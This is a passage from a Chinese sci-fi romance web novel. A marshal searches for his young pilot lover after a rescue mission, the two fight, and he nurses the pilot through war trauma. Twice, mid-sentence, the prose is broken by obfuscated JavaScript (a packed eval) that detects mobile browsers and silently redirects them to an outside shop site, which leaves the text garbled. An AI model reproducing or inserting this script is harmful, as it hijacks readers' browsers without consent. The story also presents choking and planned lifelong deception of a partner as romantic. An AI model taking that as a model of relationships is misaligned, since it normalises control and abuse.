然后,恺撒最喜欢的那双黑眼睛,就会瞬间炸出很亮的光彩来。 不过既然同学们都在旁边,小猫的别扭脾气是一定会发作的。 他会假装到处看风景,一会儿掏掏书包,一会系系鞋带,慢慢落在大部队后头。 而等到这个时候,就意味着可以拥抱了——恺撒靠着的地方,左侧半米就是私人会客室的门。 他们可以一路滚进沙发里,黏黏糊糊地亲对方很久,直到少年满脸通红,被迫一遍遍说想他、喜欢他,还要不自觉用大腿夹他的腰为止。 “停机坪净空。来自木星环城的航班即将降落。” 恺撒抬眸。 22艘预警舰自跃迁点跃出,滑行进入停机坪。 先是基础等级学员,然后是星舰导航系,军科系,指挥系。 学员们精疲力尽地下来,蓦地抬头看见他,立刻对他肃正行礼。 而机甲系不管是在学校和部队,撤离时都会排殿后位置。 所以等到最后一艘预警舰舱门打开,恺撒才微笑着站直身体。 一个,两个。 二十个,三十个。 ……最后,一个穿着林诺制服的矮子、智障、饭桶、雀斑长得就像脸上顶着一泡鸟粪的废物Alpha——站到了他的跟前。 “元帅您好!我是林诺的同学。” 奥利弗啪地立正行礼,骄傲地抬头挺胸,高声汇报,“林诺托我转交一份亲笔信给您。请您过目!” 他双手把信件递上。 等了好一会儿,对方才抬手接过去。 奥利弗满怀激动地等待着,眼睛直盯着被拿在皮革手套里的信纸看。 毫无疑问,林诺的壮举是非常激励人心的,他在船舱里嗅着衣服装睡时,已经听同班Alpha悄悄讨论过好几轮了。 盯着盯着。 他却发现那双拿着信的皮革手套,开始不明原因地轻微发抖。 随后,银发男人缓慢收拢五指。 让那张信纸在他手中,吱吱嘎嘎地变成一团捏得极紧的纸团。 “杜兰德,准备飞艇。” 恺撒顿了一下,并缓缓吸进一口气,似乎只有这样才能继续冷静下令: “我们现在就出发。” 转身要走前,他又想起什么,转向那两名惊惶万分的士官: “脱掉他身上的制服。” “啊??”奥利弗被一下押住胳膊,疼得龇牙咧嘴,“为、为什么?!元帅!元帅!!为什么啊?!” 在他问出声前,恺撒本来都已经快速穿上大衣,准备要走了。 听见对方竟然还敢问为什么,他军靴蓦地一停,又带着浓重杀气折返回来。 “……公共形象,元帅。” 一旁陪同的参谋,察觉恺撒此刻的情绪不对劲,还追在后面提醒,“请注意公共形象……” “你想知道为什么?” 恺撒停在奥利弗面前,低下头。 奥利弗身高其实并不矮,也有180出头,但在192的银发男人面前,他还是被整整压了一个头。 “——因为你不脱,我就会立刻杀了你。紧接着就是你那个临阵脱逃的废物父亲,你那个自作聪明的废物母亲,和你那一直在挪用联邦资产的废物兄弟。”他轻声细语说,“听明白了吗?” ……那大概是奥利弗此生第一次,直面能够扭曲灵魂的暴戾。 从一个他无论如何也想象不到的时刻、无论如何也想象不到的人身上爆发而出。 他张着嘴,却什么话也说不出来,两条腿莫名软了下去。 高级飞艇加上军用通道,让恺撒在木星环城凌晨2点15分时抵达。 杜兰德一下飞艇,立刻带着警卫队队员进入环城,按照在飞艇上敲定的战斗方案行事。 而恺撒径直从顶部的专用停机坪下去,眸光扫过战火燎天的木星环城,远处的光束密集如雨,显然正在进行一场机甲间的恶斗。 他未曾在下方的难民群停留一眼,就将目光收回。 男人打开军用通讯频道:“第三舰队机甲特种部队立即在停机坪集合。一分钟后,指挥室战前会议。” “哦豁!请等一等!” 前方突然转出一个笑容可掬的人,是秘密调查局的督战干事。 “这不是恺撒·卡厄西斯【前】元帅么?我怎么不知道最高议会授命军事行动了?而且,您不是早就把指挥权交还给联邦政府了吗?那您可要——” 他的话音骤停,脊背也一瞬间僵硬。 ……一把冰冷的爆能枪,抵住了他的前额。 恺撒一手抬枪顶着他,脚下和命令都没停: “伍德上校把全城情报集合在指挥部。会议在50秒后开始。” 那个干事不得不在男人咄咄逼人的目光里,连连跟着往后退。 直到后背撞到舰桥的舱门,他才害怕地从枪口下逃开,跌跌撞撞去联络秘密调查局了。 第三舰队是他的旧部,非常适应这种作战节奏:“遵命,长官。” 五分钟后,一整支机甲特种部队从要塞起飞,带着尖锐的呼啸声,直扑木星环城。 “……宙斯要塞出兵了!!” 下方临时医疗区,所有人都猛然抬起头。 “终于……终于!” “这一切终于要结束了!” 有人喜极而泣,有人还在为第17次进入敌占区的机甲师祈祷,有人则在欣喜之余,又感到些许困惑。 “感觉好突然……是最高议会批准军事行动了么?” “不管怎样,军队能插手就好……” *** 林诺放下最后一舱幸存者,打开舱门。 他微微摇晃着,突然一脚踏空。 “……啊啊!快接住他!快接住他!” 幸存者们一拥而上。 驾驶舱距离地面可还有五米之高,一时扯帐篷的扯帐篷,拉担架的拉担架,甚至还有人抢不到什么东西,居然像要接掉下树的猫似的,拉着自己的衣服找位置。 场面一片混乱。但好在林诺在摔下来的过程中,竭尽全力在机体身上推了两把降低势能,还把手腕的光脑都磕碎了,最终才有惊无险,落到人们乱哄哄拉开的帐篷上。 有很多人的手在底下托举着他,接替着往医疗区传送。 林诺想下来自己走,但他总感觉脑子晕乎乎的,四肢也没什么力气,不知道是为什么。 直到底下又有人在叫:“血!有血!当心,他身上有伤!” “哪里??伤在哪里?” “他左边的腿一直在冒血呢!医生!医生!!” 紧接着又是一阵鸡飞狗跳。 他从人们的手臂被转移到一张担架上,机器人还在嘀嘀咕咕识别伤患信息,被人一把推到一边去,好几个人端起担架就跑,腿都抡出了残影。 “啊啊啊!医生!!医生!!快帮帮他!” 林诺昏昏沉沉地躺在担架上,又被移上另一张临时病床。 他脸上还盖着战术面罩,有人想帮他把面罩掀开,被另一个人马上按住了: “等等!现在联邦正规军刚进敌占区,战斗还没完全结束呢!这里人多眼杂,他又干掉了敌人那么多具机甲,万一被叛军的眼线看见他的脸,以后报复他可就惨了!” “对!说得有道理啊!” “我们要保护好他,谁来打探消息都别松口!” “对!” 军医只好摸索着往面罩底下塞氧气罩。 有人看林诺身上都是汗,就连忙给他呼啦呼啦打扇子。 有人却又说那是冷汗,就到处给林诺拽被子盖。 最后军医勃然大怒,把一大堆人全部轰出帐篷:“不要围在这干扰工作!” 被赶出帐篷前,有个很小的孩子过来捏住林诺的手,往他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823349|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里塞了些果冻和糖果。 “你要快点好起来。” 小孩子趴在他耳朵旁边说悄悄话。一颗很小的脑袋上,还裹着染血的绷带。 “等你好了,我就再奖励你五颗!” 林诺躺在病床上,因失血过多而极其虚弱。 但他还是慢慢收拢手指,把果冻和糖果都握紧了。 他在治疗舱接受输血时,恺撒正坐镇指挥室,将木星环城里的叛军扫荡干净。 阿卜杜勒已死,他本人对人质也没有任何顾忌,因此叛军基本处于全线溃逃状态。 但不管如何胜券在握,在正式确认战斗结束以前,指挥官绝不可以脱离战线,以是就算他亲眼目睹那台战损累累的老式机甲飞回安全区,也不能马上出门去抓人。 一道秘密指令发出,无数密谈开始执行命令,四处探听17次进出木星环城的机甲师位置。 ……然而出乎意料的是。 恺撒的情报网,就连地球总部都能渗透彻底,此时此刻在宙斯要塞这个大本营,密谈们居然连一句话也探不出来。 幸存者们非常警惕,嘴巴都闭得紧紧,防他们防得像铜墙铁壁。 “——报告长官,第三次清扫工作完成。” 机甲特种部队回报,“确定城内已无叛军幸存。” 恺撒扔下耳麦,看一眼依旧没有答复的光脑,起身大步出门。 他走过舰桥,径直离开要塞,踏进乱糟糟的临时医疗区。 这里跟肃静的军事指挥区简直天壤之别,满地血污,哭声震天,到处都是混乱穿行的悬浮担架和轮椅。 男人那头标志性的银发,很快引得人群频频回头张望:“……那是恺撒元帅吗?” “真是恺撒元帅!他不是已经卸任了吗,为什么还是出现在这里……” “他肯定是放不下木星环城。就算卸任军职,也想过来看看人民的情况……” 恺撒大步踏过泥泞的地面,义眼在各个担架和帐篷间急速扫视,但刻意回避了两侧堆成小山的尸体—— 因为担架病床极度紧张,如果最终伤重不治,军医就不得不把尸体盖上脸放在帐篷外,好腾出空床来。 然而他一无所获。 到了僻静处,恺撒直接抓起一个地勤,低声逼问:“人在哪里?” “啊啊啊什什什么人——” 他张开嘴,又蓦地闭上。 阿卜杜勒被杀死在木星环城,他在外太阳系的残存势力,绝不可能善罢甘休。 而在木星环城奋力救援的少年天才机甲师,一旦跟“恺撒·卡厄西斯”这个名字有联系,林诺的暴露风险就太大了。 银发男人僵滞在原地。 抓着人家衣领的手,最终缓缓松开。 他转身跨过地面的尸体,走向依旧混乱的临时医疗区。 S级Alpha的嗅觉强度是普通人的几十倍,即便挤在临时医疗区的平民高达上万人,他也能精确辨认出空气里漂浮的信息素各属于谁。 属于两百米东侧的B级Omega平民,40米以西的B级Alpha士兵,500米以南的C级Alpha地勤…… 唯独Beta。 Beta进入人群,就像一滴水无声隐入大海。 在没有通讯工具、没有位置情报的情况下,任凭他们此前建立过再深的联系,在这种情况下也像毫不相干的陌生人。 他仿佛头一次发现,如果一个Beta真正选择消失,就是可以消失得如此彻底、如此轻而易举。 ……像不受任何桎梏的自由的风,随意撩拨一下衣角,转头就可以无影无踪。 恺撒的咬肌一点点绷紧了。 他没作声,继续跨过泥地,并准备在下一轮搜寻中,把两侧的尸体也列入搜寻目标。 不过好在,一个小时后,杜兰德的通讯发来了。 “我找到他了。” 杜兰德说,低头看向正努力往治疗舱外爬的少年。 “C区的单人帐篷。他看起来还好,在我经过时叫住了我。” 当然他说的“还好”,是以这一路断胳膊断腿的难民作为衡量标准的。 恺撒猛地停住脚步。 闭上眼,再睁开。 再开口时,他已无法掩饰滔天的怒意:“——把他带给我。” 54.第 54 章 林诺在治疗舱昏昏沉沉睡了一个小时,恍惚间听见有人说恺撒来了,还以为自己被炸出了幻听。 他努力抬高脑袋,把治疗舱顶开一条缝。 “……元帅抵达以后,宙斯要塞也同时出兵了……是不是他在议会和军部中间斡旋过?” “……事实证明联邦军半小时就能解决战斗。我真不明白最高议会拖13小时的理由是什么……” “不管怎样,噩梦总算结束了……珍惜最后的喘息时间吧,对我们来说,战后的医疗工作才是要紧的时候……” 两个军医说着话出了帐篷。 林诺撑着舱门,又往上顶了顶,总算把舱门顶开了。 帐篷门帘晃动,隐约晃过一对尖耳朵。 林诺振奋起来,不由叫出声:“——杜兰德!” 金属战靴特有的脚步声一停。杜兰德一把掀开门帘,眼灯轻微闪烁。 随后,他回头按着耳麦,低声说了两句话。 片刻后,杜兰德弯腰,把林诺的靴子拿过来: “队长现在就要见你。” “我也正打算去见他!” 林诺说,他高兴极了,连苍白的薄唇都浮出血色。 “木星环城的叛军已经被清剿了,这是真的吗?城内的人质怎么样了?恺撒既然会到这里来,就说明一定是他想出了解决方案。我就知道他会这样做……” 杜兰德没有回答,只是把靴子放在治疗舱旁边。 他的话平时不像副官那么密,所以林诺也并不觉得奇怪。 “等我一下,我换个衣服。” 林诺看见治疗舱旁的椅子,放着整套备用干净衣服,还放了遮脸的鸭舌帽,应该都是幸存者们给他找的。 他不想穿着一身血淋淋的制服去见恺撒,于是一边把血衣脱掉,一边检查自己的伤。 幸存者们也不知怎么做到的,硬给他抢到了一台军官级别的治疗舱,所以虽然只休息了一个小时,但他手臂、手掌上的刀伤,已经开始快速结痂。 左侧大腿处,是一发7mm狙击子弹的贯穿伤,已经止血了,但创口足有拳头那么大,里面翻出烧焦的血肉。 林诺扯开一卷绷带,先把创口包住,才龇牙咧嘴换上干净的裤子。 手掌上的伤痕,也用一双手套挡住了。 临走前,他还把小孩给他的糖和果冻,都从治疗舱里捡起来,珍惜地揣进衣兜里。 他们一路避开人群,穿过要塞内的秘密通道,直达恺撒专用的楼层。 林诺一出电梯口,就看见银发男人披着军装大衣,独自一人立在落地舱窗前。 远处的木星环城,熊熊大火已被扑灭,城市上空的黑烟还没完全散去,夜空不再是一片血色,而是透着疏朗的星光。 少年悄无声息地踮着脚过去。 他背后的一只手里,还攥着那些糖和果冻,打算从背后一下塞进恺撒衣兜。 昔日在恺撒腿上哭得打嗝的小孩,如今也可以拯救比他更小的小小孩了,这对林诺来说,实在是一件意义重大的事情。 他想把糖和果冻也分给恺撒一半,因为他觉得这是恺撒应得的。 而且如果是恺撒的话,就算自己是个锯嘴葫芦,讲不出什么好听的话,恺撒也会秒懂他的。 然而他的手刚碰到恺撒衣角。 ……就被一把拽了过去。 力道很重,很突然。 以至于林诺一条腿吃不住力,整个人都趔趄着撞到男人身上。 手里的礼物噼里啪啦,全掉落在两个人的靴边。 “——我是不是告诉你。任何时候,任何情况,任何理由,都不能离开预警舰?” 林诺脸上的笑意都没来得及敛起。 他吃惊抬眸,看见一双被盛怒烧得滚烫的金属眼珠。 皮革手套发狠般收紧,把两人距离拉得更近。 那双从前无感情、无机质的义眼,此刻简直像要喷出火来。 “而你是怎么做的?林诺?你认为一个联赛冠军还不足以炫耀你的机甲水平,所以才要如此迫不及待挑战星盗,来证明你的实力?” 不管是恺撒手里的力度,还是这番劈头盖脸的尖锐指责,对正处于血气方刚年纪的林诺来说,都是很容易让人蹿火的。 但直到这一刻为止,林诺都没有在大战后跟恋人吵架的打算,于是他沉沉吸气,强压情绪,用最冷静的语调向恺撒解释: “……我们当时通讯受阻,联邦政府又迟迟未决定行动,城内的状况惨不忍睹。我手中有敌方的详细侦察情报,同时,正巧有一支救援车队急需机甲师的帮助……” “——那又与你有什么相干?” 银发男人的嗓音都是哑的,像被烈火灼干了喉咙。他发誓此生绝不对任何人提起在尸堆翻找林诺的心情。 “你的亲属远在地球,你的社会关系都在军校——我甚至为此把所有预警舰都撤了回来!而你轻飘飘一句‘请别责备两位士官’就下了预警舰,让一个蠢货替你瞒天过海——我在问那与你又有什么相干?” “……与我有什么相干?” 林诺的声调终于压不住了,他挣动被恺撒抓住的手腕,黑眸开始喷出怒火, “那就凭我是机甲联赛冠军如何?我有能力、有天赋去做这件事,我可以让更多人免受战火折磨,所以我就去做! “我既在捧起战神金杯时受过喝彩,就不可以在他们陷入危难时临阵脱逃,这世上没有只享受荣誉却背叛责任的道理!” “——你口口声声只知道谈理想道理,总有一天你就会真正一头撞死在你的道理上!你践行你所谓的道理时从没有想过你的性命和未来,你也根本没有想过——” ……也根本没有想过我。 恺撒低怒的声音一滞。 因为他发现,被他攥在跟前的少年,神情突如其来变得冷静。 一双黑亮的眸子,慢慢地沉静下来,如同滚烫的火种落入深湖。 “如果这是捍卫理想者的下场。” 他一字一句、轻声且固执地告诉恺撒。 “——那么我就一头撞死在我的道理上。” 银发男人军装下的肌肉,就在这一刻完全充血贲张。 他看上去一点也不再像那个冷酷筹谋的政治家了,而完全像一种失去理智的凶兽。 “咚!” 怒火攻心的状态下,他一把掐握住少年的脖颈,将对方整个人都按在了落地窗上。 “……你胆敢再说一遍。” 恺撒嗓音嘶哑,宽阔的肩挡住背后所有灯光,只有金属眼珠,在跳着猩红的怒焰。 林诺一只手被抓得腕骨生疼,脖子还被掐握着,黑眸也终于被怒火染红。 他是崇拜喜欢恺撒不假,但绝不代表他会容忍对方这样对待自己。 发怒的小豹子一把擒住男人胳膊,劲腰骤然卷起,两只军靴近距离踏在对方的腹部,重重蹬开! 这一脚蹬得又沉又猛。即便S级Alpha,也连连倒退了好几步。 盛怒中的恺撒一把扯下领带,解开袖扣,显然是要动真格来擒他。 林诺率先起手攥拳,压低重心,喉咙间滚出威慑的怒音。 见对方丝毫不惧,依旧大步朝他跨来,他一记迅疾如电的勾拳,径直撩到对方下颌! “……” 恺撒侧过脸,用皮革手套蹭了下淤青,真正怒极反笑。 “……很好。如果你认为,这就是我们之间唯一有效的沟通方式,我奉陪到底。” 林诺在受训期间跟恺撒交过手,但都是恺撒喂招他拆招,这种真正意义上的正面单挑还是头一次。 他没有忘记跟吨位更大的雄狮交手,豹子必须把自己轻盈敏捷的优势发挥到极致,首先就要保证自己不被抓住,然后把握一切有利机会进攻。 两个人从窗边一路打斗到会客区,又从会客区打进档案库,所到之处桌椅仰翻、书柜倾覆,架上的数据光盘,全在地上噼里啪啦摔得粉碎。 杜兰德不善言辞,既不知道怎么插手,也不敢完全放任,只得默默跟在他们一米开外。 而一个横飞过来的笔筒,把他的狼耳朵也砸掉一只,杜兰德弯腰想捡时,倾翻的书架,还把他整个砸倒了。 “……如果不是因为你,我也不会成为今天的我!而你——” 林诺一脚蹬紧书桌边缘,让书桌另一头的男人,被撞得发出一声闷哼。 他怎么也想不到有一天会跟恺撒大打出手,满心的委屈、愤怒和困惑,让怒吼也带上一丝哽意。 “——你却在这里毫无理由地指责我!你能驾驶机甲拯救平民的孩子,凭什么我不可以?你能践行的道理,凭什么不让我践行?你能恪守的英雄准则和理想,为什么我来做就全是错?” 恺撒被一张书桌顶着,一时碰不到墙角的人,于是双手猛地攥住桌面边缘,甚至让木桌都发出吱吱嘎嘎的悲鸣。 可分明是怒意正炽烈的时候,一丝蛇行般冰冷的凉意,却悄然从他的脊背爬至大脑。 ——这大概就是那个愈演愈烈的质问声,首次降临在恺撒心中的时刻。 ……林诺在说谁? 恺撒甚至微微恍神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林诺怎么也没想到他会用这招,一惊之下,拳头一滞,整个人就被趁机抱到桌子上。 恺撒闭着一只眼,用领带快速扎紧大腿根部止血,同时再次对门外厉喝:“我说了治疗舱!” 治疗舱很快被运进来。 林诺被强行塞进治疗舱时,怒意未消,一只胳膊从舱门缝里伸出来打人,还打得梆梆作响。 恺撒任由他打了几拳,最后把拳头握住了,往舱门里硬塞进去:“小猫,当心夹手。” 这才勉强把舱门合上。 没合上几秒,林诺又使劲顶开舱门,还是梆梆打恺撒。 就这样反复三四次,治疗舱才成功闭合,开始嗡嗡运作起来。 在等待林诺治疗的间隙,恺撒让军医给自己换了一只备用义眼,然后坐在舱旁,沉默着低头思忖。 ……没人知道他一整夜都想了些什么。 只是等到第二天,治疗舱缓缓结束运行,林诺气势汹汹顶开舱门时。 就见银发男人仍坐在舱前。 恺撒军装笔挺,神情温和。 除了脸上几处淤青,他仍是从前那副成熟从容的样子。 “都是我的错。” 他第一句就把林诺所有话都堵死,然后沉缓地检讨, “我无能到要足足斡旋13个小时,才能领兵来救木星环城的人民。如果我能再早些来,或许伤亡就不会这样惨重,你也不会受伤……在我们见面前,我找了你1个小时。我当时以为你……” ……是骗来的。那又如何? 当恺撒缓缓握住少年的手,并没再梆梆挨揍时,他就低垂义眼,很温柔、很轻地吻过每根指尖,又去吻他的手心手背。 只要他想,他就是可以骗到底,骗一辈子。 骗到林诺跟他都寿终正寝,骗到他们彼此拥抱着躺进棺材,生命中看到的最后一眼,仍是对方少年时满眼倾慕的模样。 “林诺。我只是在昨天找你时才发现……” 谎言与真心,对他而言从来混杂不清,虚实难辨。 恺撒一边吻着林诺的手心,一边细细观察对方的微表情,并随时调整自己的神态语调。 ……但在灵魂深处的某个角落,银发孩童抱着被修好的收音机,仰头望着那轮纯粹、温暖、童话般干净的月亮,口唇开合。 喃喃的仍是同一句话。 “——我绝不会接受失去你。” 55.第 55 章 木星环城事件过后,中央军校全面停课,地球方面则陷入混乱之中。 当木星环城的叛军被清剿,通讯线路逐步恢复,整个第三行星联邦都炸开了锅。 政府反应迟缓,木星环城沦陷长达13小时,最高议会却并未作出任何有效应对,甚至召开虚假的新闻发布会,企图搪塞联邦公民。 愤怒的遇难者家属冲进议会大厦,点燃一切能点燃物品,发誓要政府的酒囊饭袋们偿命。 议员们的住处也被接连曝光,大批武装平民顶着安保机器人的火力往里冲,吓得他们东躲西藏,苟在安全屋里,再也不敢出来。 暴乱席卷全球,地球港口受到严重影响,航班全线关停。 在木星环城的通讯恢复时,小叔已经跟林诺联系上,他想把林诺接走,却被堵在地球港口。 港口里到处都是举枪示威的队伍,中间还混有不少趁火打劫的。 小叔毕竟上了年纪,被他们推来撞去,险些跌倒,最后躲进厕所里,声嘶力竭对林诺说: “小宝,你再等等我,我一定来把你接走!你有没有受伤?有没有被叛军吓着?不要怕,小叔马上就来接你!” 话音未落,林诺就听见那边砰砰两声枪响,厕所外顿时响起一片尖叫声。 他一下抓紧通讯器,急声道: “你不要急着过来,先回家去,这几天避开人多的地方。我没有受伤,也没有吓着,现在在学校提供的安全区域住着,你不要担心我,先保证自己安全。” 他说罢,眼睛紧紧盯着屏幕,生怕看到惨不忍睹的画面。 但好在屏幕对面一阵天旋地转,又重新出现小叔汗津津的脸,林诺才猛地松了一口气。 “……不,小宝。我一定会把你带走。” 小叔说,不知怎么的,他的声音和眼神都沉了下来,让林诺感觉不太像从小认识的大条小叔, “我接下来说的话,你要全部认真记住。木星环城港口有我们家的——” 话说到一半,他眼神猛地一凛,掐住话头。 林诺在跟他开双向视讯,背景是普通白墙,一时看不出身在何处。 但林成彬的眼力极其敏锐——林诺的新手环锃亮反光,恰好能映出一个正在走进房间的高大身影。 元帅勋章的金属光泽一闪而过。 ……林诺此刻就在恺撒手里。 林成彬一瞬神情紧绷。 但他反应极快,毫秒之间已经切换状态,哀怨地絮叨起来: “——有我们家交的一份税金呢!说不发地球就不发地球?而且我真搞不懂这些人!对政府不满,那就去冲议会大厦嘛!冲我们这些普通老百姓有什么用……” 过了一小会儿,通讯结束。 恺撒见林诺攥着挂断的通讯器,神情依然怔怔的,就捧着他的脸蛋,低声哄: “不会有事的。我在地球的部下,会保护他的人身安全,别太担心了。” “……” 林诺还是皱着眉,非常担忧的样子。 直到男人用大拇指摩挲他眉心,他才回过神来,低低回了句:“谢谢你。” 恺撒刚刚没敲门进房间,是为了检查林诺的腿伤。 现在林诺打完视讯了,他就把少年的睡裤脱下来,轻轻扳开大腿根部,检查枪伤的痊愈情况。 林诺也不声不响,向后仰躺在床上,自己抱住一侧膝弯,敞开腿跟他一块看。 他们那天惊天动地打了一架,后续反倒出乎意料平淡: 恺撒把他连着治疗舱一块拉进空中庄园,就此开始一段短暂的养伤时光。 木星环城遭受叛军重创,治安、民生、重建问题都要提上日程。 然而地球方面分身乏术,在混乱中,恺撒接管了整个环城,开始由部队维护日常秩序。 相比起继续跟恺撒争论谁打得更轻、谁打得更重,林诺当下更在乎那些无端遭难的普通人,还需不需要他的帮助。 他看见木星环城在招募志愿机甲师帮忙重建,于是也在光脑上点了报名,人还没爬进悬浮车,就被匆匆赶回来的恺撒扛进治疗舱,两人差点又打一架。 “我不懂一个不屑照顾自己的战士,如何才能照顾好他想保护的人民。” 恺撒淡淡说。他现在已经很知道怎样拿捏林诺了。 “况且随时保持作战状态,是军人最基本的素养。连这一点都做不到,你也想在毕业后参军?” 林诺被他激得生气,但又不得不承认,这次恺撒是真有他的道理。 他坐在床沿,一直闷头闷脑的,也不肯跟人说话。 恺撒检查完他的腿伤,瞅了他一会儿,突然叼过一根营养膏来喂林诺。 林诺推两下他的脸,没推开,也就半推半就地吃了。 等吃到最后一截,他在吃营养膏,恺撒就吃他的舌头。 吃着吃着,少年的腰一软,就不自觉倒在床上了。 恺撒一边撑在上方绵长地吻他,一边用手小心抬着他的伤腿,防止他受伤了还忍不住用腿夹人。 一个黏糊糊的、鸡肉风味的深吻过后,打架的事就算翻篇了。 军校已经停课,小叔又没法来接他,当下林诺能做的,也就只有大口吃饭,努力养伤而已。 但就在林诺认真复健时,一种在新兵营中极为普遍的心理疾病,已经悄悄找上了门。 “砰!” 林诺猛地从床上弹起。 他又一次在枪声里惊醒,醒来后却发现身处恺撒的庄园,这里无论如何也不可能会有枪声。 被他击毙在工厂的那个叛军,还在梦境里耷拉着半个血淋淋的脑壳。 刚躺下没多久,他就因为某种被瞄准的错觉,被迫再次从床上弹起。 他的“小猫一激灵”在战场上无往不利,可在安全环境下屡次错误发动,却是一件非常折磨人的事。 林诺理智上明白,战场杀人是无可避免的,再来1,000万遍,他也会毫不犹豫地对叛军开枪,否则他的队友就会陷入险境。 但创伤反应从来是身体和大脑各管各的,林诺有时好好坐在书房看书,都要被机器人的关门声惊得毛发炸起。 加上他还有感官超载,长期处在一惊一乍的状态里,林诺的精神状况肉眼可见开始糟糕。 “这是怎么回事?最近睡眠质量不好?” 恺撒捧着林诺的脸,端详小孩两个硕大无朋的黑眼圈,眉心微微皱紧。 他有时不得不离开庄园,去处理环城的事,每次回来,都会感觉小猫变得更加萎靡,原本黑亮的眼睛和头发都不亮了。 任凭他一船一船往庄园送昂贵的营养膏和补品,都无力扭转。 “……没事。我熬夜玩光脑而已。” 林诺嘀咕。他下意识觉得创伤反应是一件不酷、不成熟的事情,所以不准备跟任何人说,就想靠自己硬熬过去。 但恺撒留了个心眼,晚上给林诺检查过伤,直接把人抱到自己的卧室睡。 等到夜半三更,银发男人莫名感觉怀里一空,一睁眼就见林诺早已经翻滚下床,伤腿用力踩在地上,手从枕头底下迅速摸出枪,用身体挡在窗户和恺撒之间。 是一个在错觉遇袭的状态下,也不忘记回护恋人的姿态。 “第一次面对真实战场,身体留下创伤反应,是很常见的现象。” 心理治疗师说,“在一段持续时间的药物、咨询疗程过后,通常就会有可观的好转。如果林同学有亲属或爱人,安全的陪伴也能给他很大的帮助。” 于是除了治腿伤的补铁剂,林诺每天要吃的药又多了一种。 恺撒则把在要塞的办公室搬进庄园,尽可能只在庄园处理工作。 之前他在易感期感官超载,是林诺一直在帮他稳定病情,现在风水轮流转,又轮到他一边安抚林诺的ptsd,一边稳定林诺的感官超载状况了。 顶层的玻璃花房阳光很好,恺撒从背后圈着他的耳机小猫,让他把精神集中在树叶的纹路上: “收回注意力,仔细数数,总共有几道叶纹?” 数着数着,他感觉林诺的肩膀动了动,应该是在笑。 恺撒就侧过脸去,吮一口少年的耳尖,轻声问他:“在笑什么?” “没有。” 林诺摸摸鼻子,“只是感觉我们真是患难兄弟……这么小概率的罕见病,偏偏就我俩都有。一会儿你发病,一会儿我发病,还错开轮着来。” “这不叫患难兄弟。” 恺撒低头,鼻尖轻触年轻恋人的腺体,“应该叫天生一对。” 说罢,他满意地看着自己刚吮过的耳尖开始发红。 别扭的小猫咕嘟着嘴,不再吭声,就低头玩自己的树叶去。 红晕一路蒸腾过少年冷白的脖颈,跟天际的夕霞交相辉映,在恺撒眼里,实在好看极了。 在这段不算太长的养伤时间里,他们的恋人关系,居然比从前任何时候都要融洽。 林诺身心都带着伤,既不能离开庄园,也无法脱离恺撒独立生活,这在某种意义上,却很大程度减轻了恺撒的焦渴感。 那些八竿子也打不着关系的难民,不再出现在林诺的生活中,什么阿拉里克、卡拉里克之流,乃至林诺的至亲,连摸都摸不到庄园的门。 恺撒完全独占着林诺,林诺的每一个眼神、每一次身体触碰、每一个难为情的笑,都彻头彻尾属于恺撒。 他甚至不再执着于反复咬破少年Beta的腺体,多少也让林诺感到舒适许多。 林诺依旧在跟创伤反应艰难对抗。 他现在都在恺撒的卧室睡,但初期没有很大改善。 总是睡着睡着,就会突如其来肌肉紧绷、四肢剧颤,仿佛骤然掉回战场。 他在梦里开机甲杀敌,运动神经整夜处于亢奋状态,难免要踢到抱着他睡的恺撒—— 一晚还会踢上好几次。 “……你不要再跟我一起睡了。” 林诺愧疚极了。 他看见恺撒接管了木星环城,就猜测对方是想为难民承担重建工作。 每天晚上被蹬醒五六七八次,也不知道白天要怎样处理公务。 “我回自己房间去,你也好好休息。” 恺撒扳起他的腿根,看见再次开裂的伤口,眉头不自觉皱起。 “治疗师不是说过吗?安全的陪伴是很重要的。” 他说,“我们就按照医嘱来。” 正常人在睡梦中被一遍遍弄醒,怎样都会有火气,恺撒当然也不例外。 每次被惊醒时,他半梦半醒的神情里,都会透出某种很可怕的暴戾。 但也只是很短暂的一刹那—— 因为当他完全清醒,反应过来踢他的人是谁后,戾气就突然烟消云散了。 “小猫,嘘……冷静。我在这里。” 恺撒低声哄着,手掌握住林诺颤抖的小腿,以免他又乱动到伤口撕裂。 “你是安全的。战斗已经结束了,你跟我在一起……” 林诺满脸都是汗水,手还抓着枕头下的枪,在黑暗里看恺撒的脸。 瞅了一会儿,他也不怎么吭声,两只胳膊都抱上去,搂紧对方的脖子。 一具带着皂香的温热躯体,全都填进男人的怀抱里去。 恺撒微微愣了一下。 下一秒,他也回抱住林诺,依旧摸着脊背,轻声地哄。 哄着哄着,窗外的天就蒙蒙亮了。 林诺的创伤反应在逐渐好转。 他偶然一次起夜,发现恺撒并不在床上,就踮着伤腿悄悄找。 找到走廊尽头的书房,房间没开灯,门缝里却透出一丝微光。 林诺就用脑袋顶开一点门,偷偷往里面看。 银发男人背对着门,身上披着睡袍,正在看投映在墙壁的满屏资料。 林诺还以为是工作上的事,立刻就要把脑袋缩回。 目光却先一步捕捉到熟悉的字眼——战后创伤,失眠治疗,药物疗程,应激反应,等等等等。 恺撒正在对照着疗程,往表格里记录林诺的病情反应。 因为是趁着林诺难得能睡着时做记录,他自然不可能保持平时的完美形象。 没用发蜡打理的银发很凌乱,眯起的义眼略显焦躁,睡袍也不像军装那样笔挺。 但他查阅资料时十分专注,以至于连他那踮着脚的小猫在门口偷看,也丝毫没有察觉。 林诺瞅着瞅着。 心脏莫名咚咚咚,跳乱了一拍。 屏幕的微光落在地上,跟窗外静谧的树影混在一起。 没再出现任何类似问号的形状。 